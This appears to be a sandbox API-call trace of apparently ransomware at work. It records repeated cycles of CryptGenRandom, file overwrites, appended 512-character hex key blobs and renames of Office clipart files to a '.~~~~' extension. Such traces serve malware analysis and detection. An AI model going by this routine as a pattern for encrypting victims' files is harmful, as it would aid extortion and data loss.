	[0113.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacfc6470, dwHighDateTime=0x1d60e1e)) 
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830aa0
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830aa0 | out: hHeap=0x300000) returned 1
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834398
	[0113.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.050] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.051] GetLastError () returned 0x0
	[0113.051] GetLastError () returned 0x0
	[0113.051] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.051] GetLastError () returned 0x0
	[0113.051] GetLastError () returned 0x0
	[0113.054] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.054] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0113.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.055] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.056] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.056] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.056] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.056] CloseHandle (hObject=0x138) returned 1
	[0113.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.056] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.~~~~")) returned 1
	[0113.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.057] GetLastError () returned 0x0
	[0113.058] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.059] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.059] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.059] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23304912104) returned 1
	[0113.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacfc6470, dwHighDateTime=0x1d60e1e)) 
	[0113.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830ad8
	[0113.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830ad8 | out: hHeap=0x300000) returned 1
	[0113.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834560
	[0113.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.060] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.060] GetLastError () returned 0x0
	[0113.060] GetLastError () returned 0x0
	[0113.060] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.060] GetLastError () returned 0x0
	[0113.060] GetLastError () returned 0x0
	[0113.077] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.077] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.078] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.078] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.078] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.078] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.078] CloseHandle (hObject=0x138) returned 1
	[0113.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.079] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.~~~~")) returned 1
	[0113.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.144] GetLastError () returned 0x0
	[0113.145] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.146] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.146] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.146] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23313620040) returned 1
	[0113.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad0aacb0, dwHighDateTime=0x1d60e1e)) 
	[0113.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b2f8
	[0113.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2f8 | out: hHeap=0x300000) returned 1
	[0113.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28345f8
	[0113.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.147] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.147] GetLastError () returned 0x0
	[0113.147] GetLastError () returned 0x0
	[0113.147] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.148] GetLastError () returned 0x0
	[0113.148] GetLastError () returned 0x0
	[0113.163] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.163] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.164] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.164] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.164] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.164] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.164] CloseHandle (hObject=0x138) returned 1
	[0113.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.164] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.~~~~")) returned 1
	[0113.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.166] GetLastError () returned 0x0
	[0113.195] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.196] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.196] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.197] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23318683586) returned 1
	[0113.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad11d0d0, dwHighDateTime=0x1d60e1e)) 
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830c60
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830c60 | out: hHeap=0x300000) returned 1
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834b50
	[0113.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.197] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.198] GetLastError () returned 0x0
	[0113.198] GetLastError () returned 0x0
	[0113.198] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.198] GetLastError () returned 0x0
	[0113.198] GetLastError () returned 0x0
	[0113.200] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff9504, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.200] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x6afc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x6afc, lpOverlapped=0x0) returned 1
	[0113.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.202] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.202] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.202] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.202] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.202] CloseHandle (hObject=0x138) returned 1
	[0113.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.203] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.~~~~")) returned 1
	[0113.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.204] GetLastError () returned 0x0
	[0113.204] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.205] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.205] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.205] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23319560429) returned 1
	[0113.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad143230, dwHighDateTime=0x1d60e1e)) 
	[0113.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830c98
	[0113.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830c98 | out: hHeap=0x300000) returned 1
	[0113.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834a20
	[0113.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.206] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.206] GetLastError () returned 0x0
	[0113.207] GetLastError () returned 0x0
	[0113.207] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.207] GetLastError () returned 0x0
	[0113.207] GetLastError () returned 0x0
	[0113.249] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.249] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0113.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.253] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.253] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.254] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.254] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.254] CloseHandle (hObject=0x138) returned 1
	[0113.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.256] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.~~~~")) returned 1
	[0113.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.257] GetLastError () returned 0x0
	[0113.259] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.260] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.260] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
